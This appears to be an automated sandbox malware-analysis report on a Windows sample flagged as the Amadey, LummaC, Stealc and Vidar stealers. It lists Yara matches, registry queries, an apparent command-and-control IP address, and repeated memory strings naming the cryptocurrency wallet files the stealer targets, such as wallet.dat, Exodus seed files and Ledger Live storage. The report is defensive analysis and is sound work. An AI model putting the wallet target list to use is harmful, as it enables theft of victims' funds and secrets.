Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CAC35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

1_2_6CAC35A0

Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsHDGCGHIJKE.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2654223393.0000000000521000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2704054577.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3470381127.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2685148205.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 029a46b374.exe PID: 8652, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2638559950.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2639827168.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3461107805.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3470376278.0000000000721000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2218283308.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43f0b859c6.exe PID: 8500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6264, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.2639827168.000000000170A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Electrum-LTC\wallets\\..*qi<
Source: file.exe, 00000001.00000002.2639827168.000000000170A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\ElectronCash\wallets\\.*
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 